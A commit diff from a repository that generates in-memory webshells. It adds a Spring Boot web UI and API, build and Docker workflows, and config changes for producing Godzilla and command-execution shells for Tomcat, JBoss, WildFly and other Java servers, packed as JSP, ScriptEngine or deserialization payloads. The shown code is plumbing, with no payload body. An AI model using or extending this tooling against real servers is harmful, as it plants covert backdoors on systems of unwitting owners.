mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support boot-ui
This commit is contained in:
@@ -0,0 +1,66 @@
|
|||||||
|
name: Build
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
paths-ignore:
|
||||||
|
- 'docs/**'
|
||||||
|
- '**.md'
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build:
|
||||||
|
name: Build Jar
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
- uses: actions/setup-node@v4
|
||||||
|
with:
|
||||||
|
node-version: '23'
|
||||||
|
- uses: oven-sh/setup-bun@v2
|
||||||
|
with:
|
||||||
|
bun-version: latest
|
||||||
|
- name: Build Web
|
||||||
|
run: bun install && bun build && bash copy-build.sh
|
||||||
|
- name: Build with Gradle
|
||||||
|
run: ./gradlew :boot:bootjar
|
||||||
|
- name: Upload Jar
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: boot
|
||||||
|
path: boot/build/libs/boot.jar
|
||||||
|
push:
|
||||||
|
name: Docker Push
|
||||||
|
needs: [ build ]
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Download Jar
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: boot
|
||||||
|
path: boot/build/libs
|
||||||
|
- name: Login to Docker Hub
|
||||||
|
uses: docker/login-action@v3
|
||||||
|
with:
|
||||||
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
- name: Set up QEMU
|
||||||
|
uses: docker/setup-qemu-action@v3
|
||||||
|
- name: Set up Docker Buildx
|
||||||
|
uses: docker/setup-buildx-action@v3
|
||||||
|
- name: Build and push
|
||||||
|
uses: docker/build-push-action@v6
|
||||||
|
with:
|
||||||
|
context: boot/
|
||||||
|
platforms: linux/amd64,linux/arm64
|
||||||
|
push: true
|
||||||
|
tags: reajason/memshell-party:latest
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
FROM eclipse-temurin:17-jre
|
||||||
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
COPY build/libs/boot.jar app.jar
|
||||||
|
|
||||||
|
ENV JAVA_OPTS="" \
|
||||||
|
INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
|
||||||
|
|
||||||
|
EXPOSE 8080
|
||||||
|
|
||||||
|
ENTRYPOINT java $JAVA_OPTS $INTER_JAVA_OPTS -jar app.jar
|
||||||
+33
-7
@@ -5,7 +5,7 @@ plugins {
|
|||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
group = 'com.reajason.javaweb'
|
||||||
version = '0.0.1-SNAPSHOT'
|
version = ''
|
||||||
|
|
||||||
java {
|
java {
|
||||||
toolchain {
|
toolchain {
|
||||||
@@ -13,21 +13,47 @@ java {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
def runtimeJvmArgs = [
|
||||||
|
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
||||||
|
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||||
|
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||||
|
]
|
||||||
|
|
||||||
|
tasks.withType(JavaCompile).configureEach {
|
||||||
|
options.compilerArgs += [
|
||||||
|
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||||
|
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.withType(Test).configureEach {
|
||||||
|
jvmArgs += runtimeJvmArgs
|
||||||
|
}
|
||||||
|
|
||||||
|
// For running the application
|
||||||
|
tasks.withType(JavaExec).configureEach {
|
||||||
|
jvmArgs += runtimeJvmArgs
|
||||||
|
}
|
||||||
|
|
||||||
configurations {
|
configurations {
|
||||||
compileOnly {
|
compileOnly {
|
||||||
extendsFrom annotationProcessor
|
extendsFrom annotationProcessor
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation project(":deserialize")
|
implementation(project(":generator")) {
|
||||||
implementation project(":generator")
|
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
|
||||||
|
exclude group: 'commons-logging', module: 'commons-logging'
|
||||||
|
}
|
||||||
|
implementation(project(":deserialize")) {
|
||||||
|
exclude group: 'commons-logging', module: 'commons-logging'
|
||||||
|
}
|
||||||
|
implementation 'org.apache.bcel:bcel:5.2'
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-web'
|
implementation 'org.springframework.boot:spring-boot-starter-web'
|
||||||
|
implementation 'org.springframework.boot:spring-boot-starter-tomcat'
|
||||||
|
implementation 'com.google.code.gson:gson:2.11.0'
|
||||||
compileOnly 'org.projectlombok:lombok'
|
compileOnly 'org.projectlombok:lombok'
|
||||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
||||||
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
||||||
|
|||||||
@@ -13,4 +13,4 @@ public class BootApplication {
|
|||||||
SpringApplication.run(BootApplication.class, args);
|
SpringApplication.run(BootApplication.class, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.boot.api;
|
||||||
|
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/5/30
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
||||||
|
public class ErrorResponse {
|
||||||
|
private String error;
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.boot.api;
|
||||||
|
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.web.bind.annotation.ExceptionHandler;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||||
|
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/5/30
|
||||||
|
*/
|
||||||
|
@RestControllerAdvice
|
||||||
|
@Slf4j
|
||||||
|
public class GlobalExceptionHandler {
|
||||||
|
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||||
|
@ExceptionHandler(Throwable.class)
|
||||||
|
public ErrorResponse handleThrowable(Throwable throwable) {
|
||||||
|
log.error("请求出错", throwable);
|
||||||
|
return new ErrorResponse(throwable.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,28 +3,27 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
import com.reajason.javaweb.boot.entity.Config;
|
import com.reajason.javaweb.boot.entity.Config;
|
||||||
import com.reajason.javaweb.config.Server;
|
import com.reajason.javaweb.config.Server;
|
||||||
import com.reajason.javaweb.config.ShellTool;
|
import com.reajason.javaweb.config.ShellTool;
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
|
||||||
import com.reajason.javaweb.memsell.AbstractShell;
|
import com.reajason.javaweb.memsell.AbstractShell;
|
||||||
import com.reajason.javaweb.memsell.packer.Packer;
|
import com.reajason.javaweb.memsell.packer.Packer;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.HashMap;
|
import java.util.stream.Collectors;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
@RestController("/config")
|
@RestController
|
||||||
|
@RequestMapping("/config")
|
||||||
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
@RequestMapping
|
@RequestMapping
|
||||||
public ResponseEntity<?> config() {
|
public ResponseEntity<?> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||||
List<String> servers = new ArrayList<>();
|
|
||||||
for (Server value : Server.values()) {
|
for (Server value : Server.values()) {
|
||||||
AbstractShell shell = value.getShell();
|
AbstractShell shell = value.getShell();
|
||||||
if (shell != null) {
|
if (shell != null) {
|
||||||
@@ -34,22 +33,24 @@ public class ConfigController {
|
|||||||
List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
||||||
map.put(shellTool.name(), supportedShellTypes);
|
map.put(shellTool.name(), supportedShellTypes);
|
||||||
}
|
}
|
||||||
servers.add(value.name());
|
|
||||||
coreMap.put(value.name(), map);
|
coreMap.put(value.name(), map);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Config config = new Config();
|
Config config = new Config();
|
||||||
config.setServers(servers);
|
config.setServers(
|
||||||
|
Arrays.stream(Server.values())
|
||||||
|
.filter(s -> s.getShell() != null)
|
||||||
|
.map(Server::name)
|
||||||
|
.collect(Collectors.toList())
|
||||||
|
);
|
||||||
config.setCore(coreMap);
|
config.setCore(coreMap);
|
||||||
Map<String, Map<?, ?>> packerMap = new HashMap<>(16);
|
config.setPackers(Arrays.stream(Packer.INSTANCE.values())
|
||||||
for (Packer.INSTANCE value : Packer.INSTANCE.values()) {
|
.collect(Collectors.toMap(
|
||||||
if (value.equals(Packer.INSTANCE.Deserialize)) {
|
Packer.INSTANCE::getDesc,
|
||||||
packerMap.put(value.name(), Map.of("payloads", PayloadType.values()));
|
Packer.INSTANCE::name,
|
||||||
} else {
|
(e1, e2) -> e1,
|
||||||
packerMap.put(value.name(), null);
|
LinkedHashMap::new
|
||||||
}
|
)));
|
||||||
}
|
|
||||||
config.setPacker(packerMap);
|
|
||||||
return ResponseEntity.ok(config);
|
return ResponseEntity.ok(config);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GeneratorMain;
|
||||||
|
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
||||||
|
import com.reajason.javaweb.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.config.ShellToolConfig;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/generate")
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class GeneratorController {
|
||||||
|
@PostMapping
|
||||||
|
public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
|
||||||
|
ShellConfig shellConfig = request.getShellConfig();
|
||||||
|
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||||
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
|
GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
|
String packResult = request.getPacker().getPacker().pack(generateResult);
|
||||||
|
return ResponseEntity.ok(new GenerateResponse(generateResult, packResult));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import org.springframework.stereotype.Controller;
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/19
|
||||||
|
*/
|
||||||
|
@Controller
|
||||||
|
public class ViewController {
|
||||||
|
@GetMapping("/")
|
||||||
|
public String index() {
|
||||||
|
return "index";
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.*;
|
||||||
|
import com.reajason.javaweb.memsell.packer.Packer;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class GenerateRequest {
|
||||||
|
private ShellConfig shellConfig;
|
||||||
|
private ShellToolConfigDTO shellToolConfig;
|
||||||
|
private InjectorConfig injectorConfig;
|
||||||
|
private Packer.INSTANCE packer;
|
||||||
|
|
||||||
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
|
if (shellConfig.getShellTool().equals(ShellTool.Godzilla)) {
|
||||||
|
return GodzillaConfig.builder()
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.pass(shellToolConfig.getGodzillaPass())
|
||||||
|
.key(shellToolConfig.getGodzillaKey())
|
||||||
|
.headerName(shellToolConfig.getGodzillaHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getGodzillaHeaderValue())
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
if (shellConfig.getShellTool().equals(ShellTool.Command)) {
|
||||||
|
return CommandConfig.builder()
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Data
|
||||||
|
static class ShellToolConfigDTO {
|
||||||
|
private String shellClassName;
|
||||||
|
private String godzillaPass;
|
||||||
|
private String godzillaKey;
|
||||||
|
private String godzillaHeaderName;
|
||||||
|
private String godzillaHeaderValue;
|
||||||
|
private String commandParamName;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.GenerateResult;
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@AllArgsConstructor
|
||||||
|
public class GenerateResponse {
|
||||||
|
private GenerateResult generateResult;
|
||||||
|
private String packResult;
|
||||||
|
}
|
||||||
@@ -13,5 +13,5 @@ import java.util.Map;
|
|||||||
public class Config {
|
public class Config {
|
||||||
private List<String> servers;
|
private List<String> servers;
|
||||||
private Map<String, Map<?, ?>> core;
|
private Map<String, Map<?, ?>> core;
|
||||||
private Map<String, Map<?, ?>> packer;
|
private Map<String, String> packers;
|
||||||
}
|
}
|
||||||
@@ -52,6 +52,8 @@ dependencies {
|
|||||||
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
|
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||||
implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
|
implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
|
||||||
// implementation fileTree('libs')
|
// implementation fileTree('libs')
|
||||||
|
implementation 'xalan:xalan:2.7.0'
|
||||||
|
implementation 'org.apache.bcel:bcel:5.2'
|
||||||
|
|
||||||
implementation 'commons-io:commons-io:2.+'
|
implementation 'commons-io:commons-io:2.+'
|
||||||
implementation 'org.apache.commons:commons-lang3:3.+'
|
implementation 'org.apache.commons:commons-lang3:3.+'
|
||||||
|
|||||||
@@ -3,14 +3,14 @@ package com.reajason.javaweb;
|
|||||||
import com.reajason.javaweb.config.*;
|
import com.reajason.javaweb.config.*;
|
||||||
import com.reajason.javaweb.memsell.AbstractShell;
|
import com.reajason.javaweb.memsell.AbstractShell;
|
||||||
import com.reajason.javaweb.memsell.packer.Packer;
|
import com.reajason.javaweb.memsell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||||
|
import com.reajason.javaweb.util.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.nio.file.Files;
|
|
||||||
import java.nio.file.Paths;
|
|
||||||
import java.nio.file.StandardOpenOption;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -24,6 +24,7 @@ public class GeneratorMain {
|
|||||||
.shellTool(ShellTool.Command)
|
.shellTool(ShellTool.Command)
|
||||||
.shellType(Constants.FILTER)
|
.shellType(Constants.FILTER)
|
||||||
.targetJreVersion(Opcodes.V1_6)
|
.targetJreVersion(Opcodes.V1_6)
|
||||||
|
.debug(true)
|
||||||
.build();
|
.build();
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
.pass("pass")
|
.pass("pass")
|
||||||
@@ -37,7 +38,7 @@ public class GeneratorMain {
|
|||||||
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
||||||
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
||||||
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
||||||
System.out.println(new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult)));
|
System.out.println(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -47,11 +48,19 @@ public class GeneratorMain {
|
|||||||
if (shell == null) {
|
if (shell == null) {
|
||||||
throw new IllegalArgumentException("Unsupported server");
|
throw new IllegalArgumentException("Unsupported server");
|
||||||
}
|
}
|
||||||
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
|
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||||
|
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||||
|
}
|
||||||
|
|
||||||
return shell.generate(shellConfig, injectorConfig, shellToolConfig);
|
return shell.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
|
public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
|
||||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
|
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
if (generateResult != null) {
|
if (generateResult != null) {
|
||||||
return packerInstance.getPacker().pack(generateResult);
|
return packerInstance.getPacker().pack(generateResult);
|
||||||
|
|||||||
@@ -16,7 +16,12 @@ import static net.bytebuddy.jar.asm.Opcodes.INVOKEVIRTUAL;
|
|||||||
import static net.bytebuddy.jar.asm.Opcodes.POP;
|
import static net.bytebuddy.jar.asm.Opcodes.POP;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Debug 信息打印移除器,目前仅支持移除 System.out.println() - (printf 还不支持) 和 e.printStackTrace()
|
* Debug 信息打印移除器
|
||||||
|
* 目前仅支持移除以下几种
|
||||||
|
* <br />
|
||||||
|
* 1. System.out.println() - (printf 还不支持)
|
||||||
|
* 2. e.printStackTrace()
|
||||||
|
* 3. Logger.info (java.util)
|
||||||
*
|
*
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -13,9 +13,11 @@ import org.apache.commons.codec.binary.Base64;
|
|||||||
public class GenerateResult {
|
public class GenerateResult {
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
private transient byte[] shellBytes;
|
private transient byte[] shellBytes;
|
||||||
|
private long shellSize;
|
||||||
private String shellBytesBase64Str;
|
private String shellBytesBase64Str;
|
||||||
private String injectorClassName;
|
private String injectorClassName;
|
||||||
private transient byte[] injectorBytes;
|
private transient byte[] injectorBytes;
|
||||||
|
private long injectorSize;
|
||||||
private String injectorBytesBase64Str;
|
private String injectorBytesBase64Str;
|
||||||
private ShellConfig shellConfig;
|
private ShellConfig shellConfig;
|
||||||
private ShellToolConfig shellToolConfig;
|
private ShellToolConfig shellToolConfig;
|
||||||
@@ -25,12 +27,14 @@ public class GenerateResult {
|
|||||||
public GenerateResult build() {
|
public GenerateResult build() {
|
||||||
if (shellBytes != null) {
|
if (shellBytes != null) {
|
||||||
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
|
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
|
||||||
|
shellSize = shellBytes.length;
|
||||||
}
|
}
|
||||||
if (injectorBytes != null) {
|
if (injectorBytes != null) {
|
||||||
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
|
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
|
||||||
|
injectorSize = injectorBytes.length;
|
||||||
}
|
}
|
||||||
return new GenerateResult(shellClassName, shellBytes, shellBytesBase64Str,
|
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
||||||
injectorClassName, injectorBytes, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -27,12 +27,15 @@ public enum Server {
|
|||||||
/**
|
/**
|
||||||
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||||
*/
|
*/
|
||||||
JBoss(new JbossShell()),
|
JBossAS(new JbossShell()),
|
||||||
|
JBossEAP6(new JbossShell()),
|
||||||
/**
|
/**
|
||||||
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
||||||
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
||||||
*/
|
*/
|
||||||
Undertow(new UndertowShell()),
|
Undertow(new UndertowShell()),
|
||||||
|
JBossEAP7(new UndertowShell()),
|
||||||
|
WildFly(new UndertowShell()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* SpringMVC 框架
|
* SpringMVC 框架
|
||||||
|
|||||||
@@ -19,11 +19,11 @@ public class ShellToolConfig {
|
|||||||
/**
|
/**
|
||||||
* 模板类 shellClass
|
* 模板类 shellClass
|
||||||
*/
|
*/
|
||||||
private Class<?> clazz;
|
private Class<?> shellClass;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* shellClass 的类名
|
* shellClass 的类名
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String className = CommonUtil.generateShellClassName();
|
private String shellClassName = CommonUtil.generateShellClassName();
|
||||||
}
|
}
|
||||||
@@ -29,8 +29,8 @@ public abstract class AbstractShell {
|
|||||||
*/
|
*/
|
||||||
public List<String> getSupportedShellTypes(ShellTool tool) {
|
public List<String> getSupportedShellTypes(ShellTool tool) {
|
||||||
return switch (tool) {
|
return switch (tool) {
|
||||||
case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
|
case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList();
|
||||||
case Command -> getCommandShellMap().keySet().stream().toList();
|
case Command -> getCommandShellMap().keySet().stream().sorted().toList();
|
||||||
default -> Collections.emptyList();
|
default -> Collections.emptyList();
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
@@ -59,14 +59,14 @@ public abstract class AbstractShell {
|
|||||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||||
Class<?> injectorClass = shellInjectorPair.getRight();
|
Class<?> injectorClass = shellInjectorPair.getRight();
|
||||||
|
|
||||||
shellToolConfig.setClazz(shellClass);
|
shellToolConfig.setShellClass(shellClass);
|
||||||
|
|
||||||
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
injectorConfig = injectorConfig
|
injectorConfig = injectorConfig
|
||||||
.toBuilder()
|
.toBuilder()
|
||||||
.injectorClass(injectorClass)
|
.injectorClass(injectorClass)
|
||||||
.shellClassName(shellToolConfig.getClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.shellClassBytes(shellBytes).build();
|
.shellClassBytes(shellBytes).build();
|
||||||
|
|
||||||
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
|
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
|
||||||
@@ -75,7 +75,7 @@ public abstract class AbstractShell {
|
|||||||
.shellConfig(shellConfig)
|
.shellConfig(shellConfig)
|
||||||
.shellToolConfig(shellToolConfig)
|
.shellToolConfig(shellToolConfig)
|
||||||
.injectorConfig(injectorConfig)
|
.injectorConfig(injectorConfig)
|
||||||
.shellClassName(shellToolConfig.getClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.shellBytes(shellBytes)
|
.shellBytes(shellBytes)
|
||||||
.injectorClassName(injectorConfig.getInjectorClassName())
|
.injectorClassName(injectorConfig.getInjectorClassName())
|
||||||
.injectorBytes(injectorBytes)
|
.injectorBytes(injectorBytes)
|
||||||
|
|||||||
@@ -19,14 +19,14 @@ import net.bytebuddy.matcher.ElementMatchers;
|
|||||||
public class CommandGenerator {
|
public class CommandGenerator {
|
||||||
|
|
||||||
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
|
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
|
||||||
if (shellConfig.getClazz() == null) {
|
if (shellConfig.getShellClass() == null) {
|
||||||
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
||||||
}
|
}
|
||||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||||
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
|
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(shellConfig.getClazz())
|
.redefine(shellConfig.getShellClass())
|
||||||
.name(shellConfig.getClassName())
|
.name(shellConfig.getShellClassName())
|
